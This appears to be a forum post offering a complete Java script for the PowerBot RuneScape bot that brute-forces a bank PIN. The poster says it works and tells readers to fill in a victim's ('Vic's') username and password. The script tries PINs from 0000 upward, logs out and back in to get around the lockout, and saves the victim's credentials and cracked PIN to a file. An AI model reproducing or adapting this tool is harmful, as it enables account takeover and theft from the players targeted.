Bank Pin Cracker
It's for powerbot. It works.
Make sure to change USERNAME to Vics username. And Password to Vics password.
Put randoms off.
Make sure to change USERNAME to Vics username. And Password to Vics password.
Put randoms off.
Spoiler
import java.util.logging.Level;
import org.rsbot.script.Script;
import org.rsbot.script.ScriptManifest;
import org.rsbot.script.wrappers.RSComponent;
import org.rsbot.event.listeners.PaintListener;
import java.awt.*;
import java.io.*;
import org.rsbot.Configuration;
@ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0)
public class PINCracker extends Script implements PaintListener {
private String username = "USERNAME"; // Change username to your RuneScape username
private String password = "PASSWORD"; // Change password to your RuneScape password
private String pin = "0000"; // Change this if you don't want the script to start @ 0000
private int state;
private int tried = 0;
private long banktimeout = 10;
//Paint variables
public long startTime = 0;
public long millis = 0;
public long hours = 0;
public long minutes = 0;
public long seconds = 0;
public long last = 0;
public int totalTried = 0;
public int pinsPerHour = 0;
public String currentPin = pin;
public long attemptTime = 0;
public boolean activateCondition() {
return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
}
public long bankTimeout() {
return banktimeout;
}
public void enterCode(final String aPin) {
if (!interfaces.get(13).isValid())
return;
final RSComponent[] children = interfaces.get(13).getComponents();
state = 0;
for (int i = 1; i < 5; i++) {
if (children[i].containsText("?")) {
state++;
}
}
state = 4 - state;
if (!interfaces.get(759).isValid())
return;
final RSComponent[] bankPin = interfaces.get(759).getComponents();
if (state >= 3)
sleep(300, 600);
for (int i = 0; i < bankPin.length; i++) {
if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
final RSComponent[] childrenBefore = interfaces.get(13).getComponents();
int stateBefore = 0;
int stateAfter = 0;
for (int j=1; j<5; j++) {
if (childrenBefore[j].containsText("?"))
stateBefore++;
}
bankPin[i].doClick();
sleep(500);
while (stateBefore == stateAfter) {
final RSComponent[] childrenAfter = interfaces.get(13).getComponents();
for (int k=1; k<5; k++) {
if (childrenAfter[k].containsText("?"))
stateAfter++;
}
sleep(500);
}
break;
}
}
if (state == 3) {
tried++;
totalTried++;
if (tried == 2)
sleep(11000);
else if(tried >= 3) {
sleep(2000);
if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
pinIsCracked();
else {
sleep(14000);
tried = 0;
while(game.isLoggedIn())
game.logout(true);
}
}
int temp = Integer.parseInt(pin);
temp++;
if (temp >= 0 && temp <= 9)
pin = String.format("000%d", temp);
else if(temp >= 10 && temp <= 99)
pin = String.format("00%d", temp);
else if(temp >= 100 && temp <= 999)
pin = String.format("0%d", temp);
else if(temp >= 1000 && temp <= 9999)
pin = "" + temp;
currentPin = pin;
}
}
public void login() {
if(interfaces.get(906).isValid()) {
if (interfaces.get(906).containsText("account has not logged out"))
mouse.click(382, 322, true);
else {
interfaces.get(906).getComponent(171).doClick();
while(interfaces.get(906).containsText("Entering game"))
sleep(500);
}
}
else if (interfaces.get(596).isValid()) {
interfaces.get(596).getComponent(65).doClick();
sleep(1000);
keyboard.sendText(username, false);
interfaces.get(596).getComponent(71).doClick();
sleep(1000);
keyboard.sendText(password, false);
interfaces.get(596).getComponent(51).doClick();
while(game.isLoginScreen())
sleep(500);
}
}
public void pinIsCracked() {
log("PIN SUCCESSFULLY CRACKED!");
log.log(Level.WARNING, "PIN: {0}", pin);
try {
BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt")));
out.write("Username: " + username);
out.newLine();
out.write("Password: " + password);
out.newLine();
out.write("PIN: " + pin);
out.newLine();
log("Info wrote to " + Configuration.Paths.getSettingsDirectory());
out.close();
}
catch (IOException e) {
log.warning(e.getMessage());
}
while(game.isLoggedIn())
game.logout(false);
stopScript();
}
@Override
public boolean onStart() {
startTime = System.currentTimeMillis();
mouse.setSpeed(1);
return true;
}
@Override
public int loop() {
if (game.isLoggedIn()) {
if (interfaces.get(13).isValid()) {
enterCode(pin);
sleep(500,1000);
}
else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled")))
pinIsCracked();
else
bank.open();
}
else {
login();
}
return random(200,500);
}
public void onRepaint(Graphics g1) {
Graphics2D g = (Graphics2D)g1;
millis = System.currentTimeMillis() - startTime;
hours = millis / (1000 * 60 * 60);
millis -= hours * (1000 * 60 * 60);
minutes = millis / (1000 * 60);
millis -= minutes * (1000 * 60);
seconds = millis / 1000;
String hoursString = "" + hours;
String minutesString = "" + minutes;
String secondsString = "" + seconds;
if (hours < 10)
hoursString = "0" + hours;
if (minutes < 10)
minutesString = "0" + minutes;
if (seconds < 10)
secondsString = "0" + seconds;
g.setColor(new Color(0, 0, 255, 200));
g.fillRect(5, 5, 190, 65);
g.setFont(new Font("Arial", Font.BOLD, 15));
g.setColor(Color.WHITE);
g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
g.drawString("Current PIN Attempt: " + currentPin, 10, 50);
g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
}
}[/k][/i][/j][/i][/i]